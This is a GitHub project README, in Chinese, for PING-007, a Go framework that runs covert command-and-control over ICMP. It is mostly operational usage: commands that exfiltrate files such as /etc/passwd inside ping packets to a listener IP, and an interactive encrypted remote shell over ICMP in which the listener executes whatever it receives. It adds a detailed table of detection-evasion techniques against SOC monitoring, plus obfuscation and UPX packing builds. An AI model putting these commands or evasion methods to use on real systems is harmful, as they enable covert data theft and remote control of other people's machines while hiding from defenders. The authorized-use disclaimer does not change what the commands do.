franckferman/ping-007
GitHub: franckferman/ping-007
一个基于 Go 的隐蔽 ICMP C2 框架,通过加密数据嵌入 ping 数据包实现渗透测试中的隐蔽通信与数据外泄。
Stars: 1 | Forks: 0
# PING-007 v3.0:隐蔽 ICMP C2 框架
PING-007 是一个用于隐蔽 ICMP 通信的 Go 框架,专为授权的渗透测试、红队行动和安全研究而设计。它将加密数据嵌入到看似合法的 ICMP ping 数据包中,并支持多数据包隐蔽重组和 APT 级别的时序规避。
[]()
[]()
[]()
## 权限
### 为什么需要 root
Ping-007 会打开一个原始 ICMP socket,以便伪造传出数据包(自定义 OS 签名、XOR 隐写术)并捕获接口上的**所有**传入 ICMP 流量——而不仅仅是它自己 ping 的回复。内核将此限制在 `CAP_NET_RAW` 权限之后,因为原始 socket 可以嗅探流量并伪造任意源 IP。
像 `curl` 或 `nc` 这样的普通工具使用 TCP/UDP socket,由内核处理组帧——不需要提升权限。Ping-007 直接在 IP 层工作,这就是为什么存在此要求的原因。
### Linux / macOS
```
# 标准方法 — 以 root 身份运行
sudo ./build/ping-007 listen -o ./loot -p "key"
# 替代方法 — 为 binary 分配 capability(仅限开发/实验环境)
sudo setcap cap_net_raw+ep ./build/ping-007
./build/ping-007 listen -o ./loot -p "key" # no sudo needed
```
这与现代 Linux 上 `ping` 本身的工作方式类似:
```
getcap /usr/bin/ping
# /usr/bin/ping = cap_net_raw+ep
```
### Windows
```
# 以 Administrator 身份运行 terminal,然后:
.\build\ping-007.exe listen -o .\loot -p "key"
```
**Windows 注意事项(自 XP SP2 以来的原始 socket):**
| 问题 | 详情 |
|-------|--------|
| **防火墙** | Windows Defender 默认阻止传入的 ICMP——必须禁用或添加规则才能让监听器接收数据包 |
| **环回** | Windows 原始 socket 无法通过原始 socket 接收发送到 `127.0.0.1` 的数据包——环回测试不起作用 |
| **发送限制** | 在管理员权限下允许原始 socket 发送,但源 IP 不能被欺骗(Windows 强制使用有效的本地 IP) |
| **已测试** | ⚠ 已交叉编译,但**未在 Windows 上验证**——发送/接收可能存在边缘情况 |
要允许 ICMP 通过 Windows 防火墙进行测试:
```
# 允许入站 ICMP (ICMPv4)
netsh advfirewall firewall add rule name="ICMP Allow" protocol=icmpv4:8,any dir=in action=allow
```
## 安装
```
git clone https://github.com/franckferman/ping-007
cd ping-007
make build # binary → build/ping-007
sudo make install # install to /usr/local/bin/ping-007 (optional)
```
要求:Go 1.25+,sudo/root,支持 ICMP 的网络接口。
## 命令概述
```
ping-007 basic — send a message (inline data or file)
ping-007 stealth — send with stealth mode forced on
ping-007 exfil — exfiltrate a file in chunks
ping-007 shell — interactive bidirectional C2 shell over ICMP
ping-007 listen — receive/decrypt incoming data
ping-007 apt — APT group timing simulation
ping-007 analyze — passive network analysis
ping-007 status — framework health check
```
## 使用方法
### 加密模式
| 情况 | 命令 | 结果 |
|-----------|---------|--------|
| **无 `-p` 标志** | `sudo ./ping-007 basic -t -d "msg"` | **警告:随机密钥**——接收方无法解密。不可互操作。 |
| **共享密码** | `sudo ./ping-007 basic -t -d "msg" -p "secret"` | AES-256-GCM,通过 PBKDF2 派生密钥。拥有相同 `-p` 的接收方会自动解密。 |
| **无加密** | `sudo ./ping-007 exfil -t -f file --no-encrypt` | ICMP 中的明文 payload。接收方获取原始字节。 |
### 1. 发送消息 (basic)
```
# 使用共享密码加密
sudo ./build/ping-007 basic -t 192.168.1.100 -p "mypassword" -d "operation alpha"
# 接收它
sudo ./build/ping-007 listen -o ./received -p "mypassword" --timeout 30
```
### 2. 窃取文件
```
# Sender
sudo ./build/ping-007 exfil -t 192.168.1.100 -f /etc/passwd -p "mypassword" --mode fast
# Receiver
sudo ./build/ping-007 listen -o ./loot -p "mypassword" --timeout 120
```
`--mode fast` 禁用 APT 时序延迟。`--mode stealth`(默认)为每个数据块添加延迟。`--mode covert` 使用交替模式。
### 3. 双向 C2 shell
监听器执行传入的命令,并通过 ICMP 加密发回结果。
```
# Terminal 1 — 目标机器(agent/listener)
sudo ./build/ping-007 listen --method shell -o /tmp/c2 -p "c2pass" --timeout 3600
# Terminal 2 — 操作者(C2 client)
sudo ./build/ping-007 shell -t -p "c2pass"
# ping-007> id
# uid=0(root) gid=0(root) ...
# ping-007> whoami
# root
# ping-007> exit
```
shell 发送加密的 `CMD::` 数据包;监听器执行并回复加密的 `RESP:::::`。
### 4. APT 时序模拟
```
sudo ./build/ping-007 apt -t 192.168.1.100 -r lazarus --duration 300 -p "mypassword"
```
可用配置文件:`lazarus`(5分钟–1小时延迟),`apt29`(30分钟–2小时),`apt28`(10–30分钟),`equation`(1–3天)。
## Flag 参考
### 全局 flag(所有命令)
| Flag | 默认值 | 描述 |
|------|---------|-------------|
| `-p, --password` | — | 用于 AES-256-GCM + PBKDF2 密钥派生的共享密码 |
| `-v, --verbose` | false | 详细日志记录 |
| `--no-banner` | false | 隐藏启动横幅和 JSON 日志 |
| `-c, --config` | — | 配置文件路径 |
### `basic`
| Flag | 默认值 | 描述 |
|------|---------|-------------|
| `-t, --target` | **必填** | 目标 IP 地址 |
| `-d, --data` | — | 要传输的内联数据 |
| `--signature` | `linux` | 要模拟的 OS ping 签名(`linux`、`windows`、`none`) |
| `--no-signature` | false | 原始 ICMP,无 OS 模式 |
| `-s, --stealth` | false | 强制隐蔽模式(64 字节,合适的时序) |
| `--delay` | 0 | 传输前延迟(例如 `2s`、`500ms`) |
| `--human-timing` | false | 数据包之间随机 1–5 秒的间隔 |
| `--ultra-stealth` | false | 最大程度规避(时序 + 大小 + 模式) |
| `--decoy-pings` | 0 | 在数据前发送 N 个干净的 OS 模式 ping(混合) |
| `--after-pings` | 0 | 在数据后发送 N 个干净的 ping 以自然结束会话 |
| `--ping-interval` | `1s` | 序列中 ping 之间的间隔(模拟真实的 `ping`) |
| `--no-encrypt` | false | 发送明文——无加密、无编码(ICMP 中的原始字节) |
| `--encode` | false | 对 payload 进行 Base64 编码但不加密(熵低于 AES,无保密性) |
| `-i, --interactive` | false | 交互式提示模式 |
### `exfil`
| Flag | 默认值 | 描述 |
|------|---------|-------------|
| `-t, --target` | **必填** | 目标 IP 地址 |
| `-f, --file` | **必填** | 要窃取的文件 |
| `--method` | `icmp_tunnel` | 传输方法(`icmp_tunnel`、`icmp_payload`) |
| `--mode` | `stealth` | 时序模式(`stealth`、`fast`、`covert`) |
| `--chunk-size` | 512 | 以字节为单位的基础数据块大小(每个数据块应用 ±25% 的抖动) |
| `--no-stealth` | false | 禁用隐蔽技术 |
| `--no-encrypt` | false | 禁用加密(明文 payload) |
| `--signature` | `linux` | 用于 TTL 模拟的 OS 签名(`linux`、`windows`、`none`) |
### `shell`
| Flag | 默认值 | 描述 |
|------|---------|-------------|
| `-t, --target` | **必填** | 目标 IP 地址 |
| `--mode` | `interactive` | `interactive`(ICMP C2)或 `batch`(仅本地执行) |
| `--jitter` | 0 | 每个传出数据包前的最大随机延迟(例如 `3s`);0 = 禁用 |
### `listen`
| Flag | 默认值 | 描述 |
|------|---------|-------------|
| `-o, --output` | `./received` | 接收文件的输出目录 |
| `--interface` | `eth0` | 要监听的网络接口 |
| `--method` | `icmp_tunnel` | 监听方法(`icmp_tunnel`、`shell`) |
| `--timeout` | 60 | 超时时间(以秒为单位) |
| `-q, --quiet` | false | 抑制每个数据包的输出(用于实际操作——详细的日志是 OpSec 风险) |
### `apt`
| Flag | 默认值 | 描述 |
|------|---------|-------------|
| `-t, --target` | **必填** | 目标 IP 地址 |
| `-r, --profile` | **必填** | APT 配置文件(`lazarus`、`apt29`、`apt28`、`equation`) |
| `--duration` | 60 | 模拟持续时间(以秒为单位) |
### `analyze`
| Flag | 默认值 | 描述 |
|------|---------|-------------|
| `--duration` | 60 | 分析持续时间(以秒为单位) |
| `--passive` | false | 被动模式(无原始 socket,不需要 root) |
## OPSEC 架构
应用多层检测规避,使流量与合法的 ICMP 无法区分:
| 层级 | 技术 | 避免的 SOC 检测 |
|-------|-----------|----------------------|
| **TTL** | `setsockopt(IP_TTL)`——根据 `--signature`,Linux=64,Windows=128 | 通过 TTL 进行 OS 指纹识别 |
| **Payload 大小** | 隐蔽模式:始终为 64 字节(与 `ping -s 56` 相同) | 超大 ICMP payload 检测 |
| **Payload 模式** | 将 XOR 隐写术注入真实的 OS ping 模式(timeval+sequential 或 alphabetic) | 与已知 ping 工具的模式不匹配 |
| **序列号** | 每个会话通过 `crypto/rand` 随机起始(不总是 1) | “序列从 1 开始”的启发式检测 |
| **ICMP 标识符** | 每个会话通过 `crypto/rand` 随机生成 16 位(非静态 PID) | 固定标识符 = 长时间运行进程检测 |
| **分片** | 大型 payload 被拆分为 N×64 字节的 ping,并带有嵌入的分片 header | 超大单数据包检测 |
| **时序** | 数据包之间 1 秒 ± 10% 抖动(真实的 ping 方差) | 固定间隔 Netflow 检测 |
| **会话混合** | 数据前使用 `--decoy-pings` + 数据后使用 `--after-pings`(干净的 OS ping) | 孤立的“1 个带数据的 ICMP”事件 |
| **数据块间隔** | 数据块之间间隔 5–30 秒(stealth)/ 30–120 秒(covert) | 突发传输速率检测 |
| **Shell 抖动** | 每个命令数据包前使用 `--jitter ` 随机延迟 | 节奏规律的 C2 信标检测 |
| **输出详细级别** | `listen --quiet` 抑制所有 stdout | 实时取证 / 进程监控 |
### SOC 仍然可以检测到的内容
- **高熵 payload**:AES-GCM 密文具有 ~8 比特/字节的熵。带 sequential 模式的 stealth XOR 会降低视觉上的明显程度,但保留了底层的熵。具有熵评估的 DPI 可以标记此项。
- **异常的 ping 计数**:真实用户通常不会发送 20 个以上连续的 ping。`--decoy-pings` / `--after-pings` flag 有助于将数据包包裹在干净的流量中,但会话长度分析仍然可能会标记长时间的连续运行。
- **相同的目标 IP**:对同一 C2 IP 的周期性 ping 在流量分析中很显眼。使用能够与该范围内现有的合法流量相融合的实际 C2 IP。
## 加密细节
这三种算法均使用 **PBKDF2-SHA256(100,000 次迭代)** 和**每种算法对应的固定 salt**,以便从共享密码进行确定性的密钥派生。
| 算法 | 密钥 | 认证 | Salt |
|-----------|-----|------|------|
| AES-256-GCM | 256-bit | AEAD | `ping007-aes-salt-v1` |
| ChaCha20-Poly1305 | 256-bit | AEAD | `ping007-chacha20-salt-v1` |
| 自定义 XOR-CFB-HMAC | 256-bit | HMAC-SHA256 | `ping007-xor-salt-v1` |
Wire 格式:`[4字节 header:算法+版本][12字节 nonce][密文][16字节 tag]`
监听器从 4 字节的 header 中自动检测算法。
## OS 签名配置文件
| 配置文件 | Payload 大小 | 隐蔽容量 | 分片容量 | 模式 | TTL |
|---------|-------------|-----------------|---------------|---------|-----|
| `linux`(默认) | 64 字节 | 46 字节/数据包 | 42 字节/分片 | 顺序 `0x08,0x09,…` | 64 |
| `windows` | 40 字节 | 22 字节/数据包 18 字节/分片 | 字母 `abcdefgh…` | 128 |
| `none` / `--no-signature` | 可变 | N/A | N/A | 原始字节 | 内核默认值 |
对于超过单数据包隐蔽容量的消息/数据块,ping-007 会使用嵌入的 4 字节 header 自动将它们分片,跨越多个 64 字节的 ping
(`[0xA7 magic][session][frag_id][total_frags]`)。接收方在解密前重新组装所有分片。
每个分片以 ~1 秒的间隔发送,以匹配真实的 `ping` 节奏。
**隐蔽容量计算(Linux):**
- ICMP payload = 56 字节(Linux `ping -s 56`)
- 8 字节 = timeval(struct timeval, LE)
- 2 字节 = 长度前缀(异或(XOR)进 sequential 模式)
- 单数据包隐藏数据有 **46 字节** 可用空间
- AES-256-GCM 开销 = 4(header) + 12(nonce) + 16(GCM tag) = 32 字节
- → 单数据包最大明文 = 14 字节;超过此大小,自动分片将启动
## 构建变体
```
make build # Standard build → build/ping-007
make build-stealth # Manual obfuscation (-trimpath -buildmode=pie)
make build-ghost # Maximum stripping + obfuscation
make build-compressed # UPX compression (requires upx)
make build-armored # Stealth + UPX
make build-minimal # No APT simulation module (-tags minimal)
make build-all # All platforms (linux/darwin/windows, amd64/arm64)
# build-no-c2: TODO — 实现 plan 见 Makefile:117
```
## Makefile 快捷方式
```
make basic TARGET=192.168.1.100 PASSWORD='secret'
make stealth TARGET=192.168.1.100 DATA='payload' PASSWORD='secret'
make exfil TARGET=192.168.1.100 FILE=/etc/passwd PASSWORD='secret'
make exfil TARGET=192.168.1.100 FILE=data.zip METHOD=icmp_tunnel MODE=fast PASSWORD='secret'
make apt TARGET=192.168.1.100 PROFILE=lazarus DURATION=300
make shell TARGET=192.168.1.100 PASSWORD='c2pass'
make listen OUTPUT=./loot TIMEOUT=300 PASSWORD='secret'
make analyze DURATION=120
make ultra-stealth TARGET=192.168.1.100 PASSWORD='stealth-key'
make ghost-mode TARGET=192.168.1.100 PASSWORD='ghost-key'
make human-mimic TARGET=192.168.1.100 PASSWORD='test'
make natural-test TARGET=192.168.1.100 COUNT=10 PASSWORD='test'
make crypto-demo
```
## 文档
| 文档 | 内容 |
|----------|---------|
| [网站 / 完整文档](docs/index.html) | 架构、wire 格式、加密细节、flag 参考 |
| [TODO](TODO.md) | 路线图 |
## 仅限授权使用
此工具专为以下情况设计:
- 授权的渗透测试项目
- 内部红队演练
- 在受批准范围内的安全研究
- 蓝队检测验证
- CTF 比赛
未经授权对你不拥有或没有明确书面测试许可的系统使用是非法的,并受到严格禁止。
标签:C2框架, EVTX分析, Go语言, ICMP协议, IP 地址批量处理, 安全学习资源, 日志审计, 程序破解, 隐蔽通信